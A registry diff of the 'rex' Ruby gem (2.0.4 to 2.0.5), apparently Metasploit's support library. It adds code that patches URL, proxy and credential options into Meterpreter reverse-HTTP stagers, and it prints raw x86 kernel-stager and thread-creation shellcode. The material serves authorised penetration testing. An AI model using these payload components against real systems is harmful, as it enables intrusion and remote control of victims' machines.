rex 2.0.4 → 2.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/rex/arch/x86.rb +16 -0
- data/lib/rex/constants.rb +1 -0
- data/lib/rex/constants/windows.rb +147 -0
- data/lib/rex/encoder/xdr.rb +3 -2
- data/lib/rex/exceptions.rb +37 -5
- data/lib/rex/exploitation/cmdstager/bourne.rb +9 -1
- data/lib/rex/exploitation/cmdstager/tftp.rb +5 -5
- data/lib/rex/java.rb +3 -0
- data/lib/rex/java/serialization.rb +54 -0
- data/lib/rex/java/serialization/model.rb +20 -0
- data/lib/rex/java/serialization/model/annotation.rb +69 -0
- data/lib/rex/java/serialization/model/block_data.rb +70 -0
- data/lib/rex/java/serialization/model/block_data_long.rb +72 -0
- data/lib/rex/java/serialization/model/class_desc.rb +64 -0
- data/lib/rex/java/serialization/model/contents.rb +156 -0
- data/lib/rex/java/serialization/model/element.rb +44 -0
- data/lib/rex/java/serialization/model/end_block_data.rb +12 -0
- data/lib/rex/java/serialization/model/field.rb +172 -0
- data/lib/rex/java/serialization/model/long_utf.rb +48 -0
- data/lib/rex/java/serialization/model/new_array.rb +225 -0
- data/lib/rex/java/serialization/model/new_class_desc.rb +155 -0
- data/lib/rex/java/serialization/model/new_enum.rb +79 -0
- data/lib/rex/java/serialization/model/new_object.rb +223 -0
- data/lib/rex/java/serialization/model/null_reference.rb +12 -0
- data/lib/rex/java/serialization/model/reference.rb +61 -0
- data/lib/rex/java/serialization/model/reset.rb +12 -0
- data/lib/rex/java/serialization/model/stream.rb +123 -0
- data/lib/rex/java/serialization/model/utf.rb +69 -0
- data/lib/rex/mime/message.rb +9 -14
- data/lib/rex/payloads.rb +1 -0
- data/lib/rex/payloads/meterpreter.rb +2 -0
- data/lib/rex/payloads/meterpreter/patch.rb +136 -0
- data/lib/rex/payloads/win32/kernel/stager.rb +26 -25
- data/lib/rex/post/meterpreter/client.rb +50 -60
- data/lib/rex/post/meterpreter/client_core.rb +18 -25
- data/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb +102 -8
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +24 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +18 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +1 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +43 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +9 -0
- data/lib/rex/proto/dcerpc/svcctl.rb +2 -0
- data/lib/rex/proto/dcerpc/svcctl/packet.rb +304 -0
- data/lib/rex/proto/kademlia.rb +8 -0
- data/lib/rex/proto/kademlia/bootstrap_request.rb +19 -0
- data/lib/rex/proto/kademlia/bootstrap_response.rb +79 -0
- data/lib/rex/proto/kademlia/message.rb +72 -0
- data/lib/rex/proto/kademlia/ping.rb +19 -0
- data/lib/rex/proto/kademlia/pong.rb +41 -0
- data/lib/rex/proto/kademlia/util.rb +22 -0
- data/lib/rex/proto/natpmp/packet.rb +30 -2
- data/lib/rex/proto/quake.rb +3 -0
- data/lib/rex/proto/quake/message.rb +73 -0
- data/lib/rex/proto/smb/client.rb +1 -0
- data/lib/rex/proto/smb/simpleclient.rb +4 -0
- data/lib/rex/proto/sunrpc/client.rb +14 -3
- data/lib/rex/socket/comm/local.rb +10 -7
- data/lib/rex/socket/ssl_tcp_server.rb +79 -40
- data/lib/rex/ui/text/input/readline.rb +33 -6
- data/lib/rex/ui/text/output/file.rb +2 -2
- data/lib/rex/ui/text/output/stdio.rb +70 -14
- data/rex.gemspec +1 -1
- metadata +38 -3
data/lib/rex/mime/message.rb
CHANGED
@@ -24,11 +24,11 @@ class Message
|
|
24
24
|
self.header.parse(head)
|
25
25
|
ctype = self.header.find('Content-Type')
|
26
26
|
|
27
|
-
if ctype
|
27
|
+
if ctype && ctype[1] && ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
|
28
28
|
self.bound = $1
|
29
29
|
chunks = body.to_s.split(/--#{self.bound}(--)?\r?\n/)
|
30
30
|
self.content = chunks.shift.to_s.gsub(/\s+$/, '')
|
31
|
-
self.content << "\r\n"
|
31
|
+
self.content << "\r\n" unless self.content.empty?
|
32
32
|
|
33
33
|
chunks.each do |chunk|
|
34
34
|
break if chunk == "--"
|
@@ -88,15 +88,13 @@ class Message
|
|
88
88
|
def add_part(data='', content_type='text/plain', transfer_encoding="8bit", content_disposition=nil)
|
89
89
|
part = Rex::MIME::Part.new
|
90
90
|
|
91
|
-
if
|
91
|
+
if content_disposition
|
92
92
|
part.header.set("Content-Disposition", content_disposition)
|
93
93
|
end
|
94
94
|
|
95
|
-
if
|
96
|
-
part.header.set("Content-Type", content_type)
|
97
|
-
end
|
95
|
+
part.header.set("Content-Type", content_type) if content_type
|
98
96
|
|
99
|
-
if
|
97
|
+
if transfer_encoding
|
100
98
|
part.header.set("Content-Transfer-Encoding", transfer_encoding)
|
101
99
|
end
|
102
100
|
|
@@ -125,20 +123,17 @@ class Message
|
|
125
123
|
end
|
126
124
|
|
127
125
|
def to_s
|
128
|
-
|
126
|
+
header_string = self.header.to_s
|
129
127
|
|
130
|
-
|
131
|
-
|
132
|
-
end
|
128
|
+
msg = header_string.empty? ? '' : force_crlf(self.header.to_s + "\r\n")
|
129
|
+
msg << force_crlf(self.content + "\r\n") unless self.content.blank?
|
133
130
|
|
134
131
|
self.parts.each do |part|
|
135
132
|
msg << force_crlf("--" + self.bound + "\r\n")
|
136
133
|
msg << part.to_s
|
137
134
|
end
|
138
135
|
|
139
|
-
if self.parts.length > 0
|
140
|
-
msg << force_crlf("--" + self.bound + "--\r\n")
|
141
|
-
end
|
136
|
+
msg << force_crlf("--" + self.bound + "--\r\n") if self.parts.length > 0
|
142
137
|
|
143
138
|
msg
|
144
139
|
end
|
data/lib/rex/payloads.rb
CHANGED
@@ -0,0 +1,136 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
module Rex
|
4
|
+
module Payloads
|
5
|
+
module Meterpreter
|
6
|
+
###
|
7
|
+
#
|
8
|
+
# Provides methods to patch options into metsrv stagers
|
9
|
+
#
|
10
|
+
###
|
11
|
+
module Patch
|
12
|
+
|
13
|
+
# Replace the transport string
|
14
|
+
def self.patch_transport! blob, ssl
|
15
|
+
|
16
|
+
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
17
|
+
if i
|
18
|
+
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
19
|
+
blob[i, str.length] = str
|
20
|
+
end
|
21
|
+
|
22
|
+
end
|
23
|
+
|
24
|
+
# Replace the URL
|
25
|
+
def self.patch_url! blob, url
|
26
|
+
|
27
|
+
i = blob.index("https://" + ("X" * 256))
|
28
|
+
if i
|
29
|
+
str = url
|
30
|
+
blob[i, str.length] = str
|
31
|
+
end
|
32
|
+
|
33
|
+
end
|
34
|
+
|
35
|
+
# Replace the session expiration timeout
|
36
|
+
def self.patch_expiration! blob, expiration
|
37
|
+
|
38
|
+
i = blob.index([0xb64be661].pack("V"))
|
39
|
+
if i
|
40
|
+
str = [ expiration ].pack("V")
|
41
|
+
blob[i, str.length] = str
|
42
|
+
end
|
43
|
+
|
44
|
+
end
|
45
|
+
|
46
|
+
# Replace the session communication timeout
|
47
|
+
def self.patch_comm_timeout! blob, comm_timeout
|
48
|
+
|
49
|
+
i = blob.index([0xaf79257f].pack("V"))
|
50
|
+
if i
|
51
|
+
str = [ comm_timeout ].pack("V")
|
52
|
+
blob[i, str.length] = str
|
53
|
+
end
|
54
|
+
|
55
|
+
end
|
56
|
+
|
57
|
+
# Replace the user agent string with our option
|
58
|
+
def self.patch_ua! blob, ua
|
59
|
+
|
60
|
+
ua = ua[0,255] + "\x00"
|
61
|
+
i = blob.index("METERPRETER_UA\x00")
|
62
|
+
if i
|
63
|
+
blob[i, ua.length] = ua
|
64
|
+
end
|
65
|
+
|
66
|
+
end
|
67
|
+
|
68
|
+
# Activate a custom proxy
|
69
|
+
def self.patch_proxy! blob, proxyhost, proxyport, proxy_type
|
70
|
+
|
71
|
+
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
72
|
+
if i
|
73
|
+
if proxyhost
|
74
|
+
if proxyhost.to_s != ""
|
75
|
+
proxyhost = proxyhost.to_s
|
76
|
+
proxyport = proxyport.to_s || "8080"
|
77
|
+
proxyinfo = proxyhost + ":" + proxyport
|
78
|
+
if proxyport == "80"
|
79
|
+
proxyinfo = proxyhost
|
80
|
+
end
|
81
|
+
if proxy_type.to_s == 'HTTP'
|
82
|
+
proxyinfo = 'http://' + proxyinfo
|
83
|
+
else #socks
|
84
|
+
proxyinfo = 'socks=' + proxyinfo
|
85
|
+
end
|
86
|
+
proxyinfo << "\x00"
|
87
|
+
blob[i, proxyinfo.length] = proxyinfo
|
88
|
+
end
|
89
|
+
end
|
90
|
+
end
|
91
|
+
|
92
|
+
end
|
93
|
+
|
94
|
+
# Proxy authentification
|
95
|
+
def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type
|
96
|
+
|
97
|
+
unless (proxy_username.nil? or proxy_username.empty?) or
|
98
|
+
(proxy_password.nil? or proxy_password.empty?) or
|
99
|
+
proxy_type == 'SOCKS'
|
100
|
+
|
101
|
+
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
102
|
+
proxy_username = proxy_username << "\x00"
|
103
|
+
blob[proxy_username_loc, proxy_username.length] = proxy_username
|
104
|
+
|
105
|
+
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
106
|
+
proxy_password = proxy_password << "\x00"
|
107
|
+
blob[proxy_password_loc, proxy_password.length] = proxy_password
|
108
|
+
end
|
109
|
+
|
110
|
+
end
|
111
|
+
|
112
|
+
# Patch options into metsrv for reverse HTTP payloads
|
113
|
+
def self.patch_passive_service! blob, options
|
114
|
+
|
115
|
+
patch_transport! blob, options[:ssl]
|
116
|
+
patch_url! blob, options[:url]
|
117
|
+
patch_expiration! blob, options[:expiration]
|
118
|
+
patch_comm_timeout! blob, options[:comm_timeout]
|
119
|
+
patch_ua! blob, options[:ua]
|
120
|
+
patch_proxy!(blob,
|
121
|
+
options[:proxyhost],
|
122
|
+
options[:proxyport],
|
123
|
+
options[:proxy_type]
|
124
|
+
)
|
125
|
+
patch_proxy_auth!(blob,
|
126
|
+
options[:proxy_username],
|
127
|
+
options[:proxy_password],
|
128
|
+
options[:proxy_type]
|
129
|
+
)
|
130
|
+
|
131
|
+
end
|
132
|
+
|
133
|
+
end
|
134
|
+
end
|
135
|
+
end
|
136
|
+
end
|
@@ -47,19 +47,21 @@ module Stager
|
|
47
47
|
checksum = process[0] + ( process[2] << 8 ) + ( process[1] << 16 ) + ( process[3] << 24 )
|
48
48
|
|
49
49
|
# The ring0 -> ring3 payload blob.
|
50
|
-
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
50
|
+
# Full assembly source at:
|
51
|
+
# external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm
|
52
|
+
r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x5D" +
|
53
|
+
"\x8B\x7E\x61\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
|
54
|
+
"\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
|
55
|
+
"\x58\x8B\x58\x54\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
|
56
|
+
"\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x31" +
|
57
|
+
"\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x25\x8B\x58\x5C\x8D" +
|
58
|
+
"\x5B\x69\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
|
59
|
+
"\x00\x74\x0E\xBA\x45\x45\x45\x45\x83\xC2\x04\x81\x22\xFF\xFF\xFF" +
|
60
|
+
"\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43\x43\x43\x43" +
|
61
|
+
"\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2B\x8B\x43\x10" +
|
62
|
+
"\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9\x44\x44\x44" +
|
63
|
+
"\x44\x75\x15\xE8\x07\x00\x00\x00\xE8\x0D\x00\x00\x00\xEB\x09\xB9" +
|
64
|
+
"\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
|
63
65
|
|
64
66
|
# The ring3 payload.
|
65
67
|
r3 = ''
|
@@ -125,20 +127,19 @@ protected
|
|
125
127
|
# Stub to run a prepended ring3 payload in a new thread.
|
126
128
|
#
|
127
129
|
# Full assembly source at:
|
128
|
-
#
|
130
|
+
# external/source/shellcode/windows/x86/src/single/createthread.asm
|
129
131
|
#
|
130
132
|
def self._createthread
|
131
|
-
r3 =
|
132
|
-
|
133
|
-
|
134
|
-
|
135
|
-
|
136
|
-
|
137
|
-
|
138
|
-
|
139
|
-
|
140
|
-
|
141
|
-
"\x68\x0D\x16\xFF\xD5\xC3\x58"
|
133
|
+
r3 = "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
|
134
|
+
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
|
135
|
+
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
|
136
|
+
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
|
137
|
+
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
|
138
|
+
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
|
139
|
+
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
|
140
|
+
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
|
141
|
+
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x31\xC0\x50\x50\x50\x8D\x9D" +
|
142
|
+
"\x99\x00\x00\x00\x53\x50\x50\x68\x38\x68\x0D\x16\xFF\xD5\xC3\x58"
|
142
143
|
return r3
|
143
144
|
end
|
144
145
|
|
@@ -42,9 +42,9 @@ class Client
|
|
42
42
|
@@ext_hash = {}
|
43
43
|
|
44
44
|
#
|
45
|
-
# Cached SSL certificate
|
45
|
+
# Cached auto-generated SSL certificate
|
46
46
|
#
|
47
|
-
@@
|
47
|
+
@@ssl_cached_cert = nil
|
48
48
|
|
49
49
|
#
|
50
50
|
# Mutex to synchronize class-wide operations
|
@@ -106,7 +106,6 @@ class Client
|
|
106
106
|
self.capabilities = opts[:capabilities] || {}
|
107
107
|
self.commands = []
|
108
108
|
|
109
|
-
|
110
109
|
self.conn_id = opts[:conn_id]
|
111
110
|
self.url = opts[:url]
|
112
111
|
self.ssl = opts[:ssl]
|
@@ -116,9 +115,21 @@ class Client
|
|
116
115
|
|
117
116
|
self.response_timeout = opts[:timeout] || self.class.default_timeout
|
118
117
|
self.send_keepalives = true
|
118
|
+
|
119
|
+
# TODO: Clarify why we don't allow unicode to be set in initial options
|
119
120
|
# self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true
|
120
121
|
self.encode_unicode = false
|
121
122
|
|
123
|
+
# The SSL certificate is being passed down as a file path
|
124
|
+
if opts[:ssl_cert]
|
125
|
+
if ! ::File.exists? opts[:ssl_cert]
|
126
|
+
elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored")
|
127
|
+
else
|
128
|
+
# Load the certificate the same way that SslTcpServer does it
|
129
|
+
self.ssl_cert = ::File.read(opts[:ssl_cert])
|
130
|
+
end
|
131
|
+
end
|
132
|
+
|
122
133
|
if opts[:passive_dispatcher]
|
123
134
|
initialize_passive_dispatcher
|
124
135
|
|
@@ -200,68 +211,43 @@ class Client
|
|
200
211
|
end
|
201
212
|
|
202
213
|
def generate_ssl_context
|
203
|
-
@@ssl_mutex.synchronize do
|
204
|
-
if not @@ssl_ctx
|
205
|
-
|
206
|
-
wlog("Generating SSL certificate for Meterpreter sessions")
|
207
|
-
|
208
|
-
key = OpenSSL::PKey::RSA.new(1024){ }
|
209
|
-
cert = OpenSSL::X509::Certificate.new
|
210
|
-
cert.version = 2
|
211
|
-
cert.serial = rand(0xFFFFFFFF)
|
212
|
-
|
213
|
-
# Depending on how the socket was created, getsockname will
|
214
|
-
# return either a struct sockaddr as a String (the default ruby
|
215
|
-
# Socket behavior) or an Array (the extend'd Rex::Socket::Tcp
|
216
|
-
# behavior). Avoid the ambiguity by always picking a random
|
217
|
-
# hostname. See #7350.
|
218
|
-
subject_cn = Rex::Text.rand_hostname
|
219
|
-
|
220
|
-
subject = OpenSSL::X509::Name.new([
|
221
|
-
["C","US"],
|
222
|
-
['ST', Rex::Text.rand_state()],
|
223
|
-
["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
|
224
|
-
["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
|
225
|
-
["CN", subject_cn],
|
226
|
-
])
|
227
|
-
issuer = OpenSSL::X509::Name.new([
|
228
|
-
["C","US"],
|
229
|
-
['ST', Rex::Text.rand_state()],
|
230
|
-
["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
|
231
|
-
["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
|
232
|
-
["CN", Rex::Text.rand_text_alpha(rand(20) + 10)],
|
233
|
-
])
|
234
|
-
|
235
|
-
cert.subject = subject
|
236
|
-
cert.issuer = issuer
|
237
|
-
cert.not_before = Time.now - (3600 * 365) + rand(3600 * 14)
|
238
|
-
cert.not_after = Time.now + (3600 * 365) + rand(3600 * 14)
|
239
|
-
cert.public_key = key.public_key
|
240
|
-
ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)
|
241
|
-
cert.extensions = [
|
242
|
-
ef.create_extension("basicConstraints","CA:FALSE"),
|
243
|
-
ef.create_extension("subjectKeyIdentifier","hash"),
|
244
|
-
ef.create_extension("extendedKeyUsage","serverAuth"),
|
245
|
-
ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature")
|
246
|
-
]
|
247
|
-
ef.issuer_certificate = cert
|
248
|
-
cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always")
|
249
|
-
cert.sign(key, OpenSSL::Digest::SHA1.new)
|
250
|
-
|
251
|
-
ctx = OpenSSL::SSL::SSLContext.new
|
252
|
-
ctx.key = key
|
253
|
-
ctx.cert = cert
|
254
214
|
|
255
|
-
ctx
|
215
|
+
ctx = nil
|
216
|
+
ssl_cert_info = nil
|
256
217
|
|
257
|
-
|
218
|
+
loop do
|
258
219
|
|
259
|
-
|
220
|
+
# Load a custom SSL certificate if one has been specified
|
221
|
+
if self.ssl_cert
|
222
|
+
wlog("Loading custom SSL certificate for Meterpreter session")
|
223
|
+
ssl_cert_info = Rex::Socket::SslTcpServer.ssl_parse_pem(self.ssl_cert)
|
224
|
+
wlog("Loaded custom SSL certificate for Meterpreter session")
|
225
|
+
break
|
226
|
+
end
|
260
227
|
|
261
|
-
|
262
|
-
|
228
|
+
# Generate a certificate if necessary and cache it
|
229
|
+
if ! @@ssl_cached_cert
|
230
|
+
@@ssl_mutex.synchronize do
|
231
|
+
wlog("Generating SSL certificate for Meterpreter sessions")
|
232
|
+
@@ssl_cached_cert = Rex::Socket::SslTcpServer.ssl_generate_certificate
|
233
|
+
wlog("Generated SSL certificate for Meterpreter sessions")
|
234
|
+
end
|
235
|
+
end
|
236
|
+
|
237
|
+
# Use the cached certificate
|
238
|
+
ssl_cert_info = @@ssl_cached_cert
|
239
|
+
break
|
240
|
+
end
|
263
241
|
|
264
|
-
|
242
|
+
# Create a new context for each session
|
243
|
+
ctx = OpenSSL::SSL::SSLContext.new()
|
244
|
+
ctx.key = ssl_cert_info[0]
|
245
|
+
ctx.cert = ssl_cert_info[1]
|
246
|
+
ctx.extra_chain_cert = ssl_cert_info[2]
|
247
|
+
ctx.options = 0
|
248
|
+
ctx.session_id_context = Rex::Text.rand_text(16)
|
249
|
+
|
250
|
+
ctx
|
265
251
|
end
|
266
252
|
|
267
253
|
##
|
@@ -453,6 +439,10 @@ class Client
|
|
453
439
|
#
|
454
440
|
attr_accessor :ssl
|
455
441
|
#
|
442
|
+
# Use this SSL Certificate (unified PEM)
|
443
|
+
#
|
444
|
+
attr_accessor :ssl_cert
|
445
|
+
#
|
456
446
|
# The Session Expiration Timeout
|
457
447
|
#
|
458
448
|
attr_accessor :expiration
|
@@ -8,6 +8,9 @@ require 'rex/post/meterpreter/client'
|
|
8
8
|
# argument for moving the meterpreter client into the Msf namespace.
|
9
9
|
require 'msf/core/payload/windows'
|
10
10
|
|
11
|
+
# Provides methods to patch options into the metsrv stager.
|
12
|
+
require 'rex/payloads/meterpreter/patch'
|
13
|
+
|
11
14
|
module Rex
|
12
15
|
module Post
|
13
16
|
module Meterpreter
|
@@ -228,31 +231,21 @@ class ClientCore < Extension
|
|
228
231
|
|
229
232
|
if client.passive_service
|
230
233
|
|
231
|
-
#
|
232
|
-
|
233
|
-
|
234
|
-
|
235
|
-
|
236
|
-
|
237
|
-
|
238
|
-
|
239
|
-
|
240
|
-
|
241
|
-
|
242
|
-
|
243
|
-
|
234
|
+
#
|
235
|
+
# Patch options into metsrv for reverse HTTP payloads
|
236
|
+
#
|
237
|
+
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
238
|
+
:ssl => client.ssl,
|
239
|
+
:url => self.client.url,
|
240
|
+
:expiration => self.client.expiration,
|
241
|
+
:comm_timeout => self.client.comm_timeout,
|
242
|
+
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
243
|
+
:proxyhost => client.exploit_datastore['PROXYHOST'],
|
244
|
+
:proxyport => client.exploit_datastore['PROXYPORT'],
|
245
|
+
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
|
246
|
+
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
|
247
|
+
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
|
244
248
|
|
245
|
-
i = blob.index([0xb64be661].pack("V"))
|
246
|
-
if i
|
247
|
-
str = [ self.client.expiration ].pack("V")
|
248
|
-
blob[i, str.length] = str
|
249
|
-
end
|
250
|
-
|
251
|
-
i = blob.index([0xaf79257f].pack("V"))
|
252
|
-
if i
|
253
|
-
str = [ self.client.comm_timeout ].pack("V")
|
254
|
-
blob[i, str.length] = str
|
255
|
-
end
|
256
249
|
end
|
257
250
|
|
258
251
|
# Build the migration request
|
@@ -287,7 +280,7 @@ class ClientCore < Extension
|
|
287
280
|
# good bet that migration failed and the remote side is hung.
|
288
281
|
# Since we have the comm_mutex here, we *must* release it to
|
289
282
|
# keep from hanging the packet dispatcher thread, which results
|
290
|
-
# in blocking the entire process.
|
283
|
+
# in blocking the entire process.
|
291
284
|
begin
|
292
285
|
Timeout.timeout(60) do
|
293
286
|
# Renegotiate SSL over this socket
|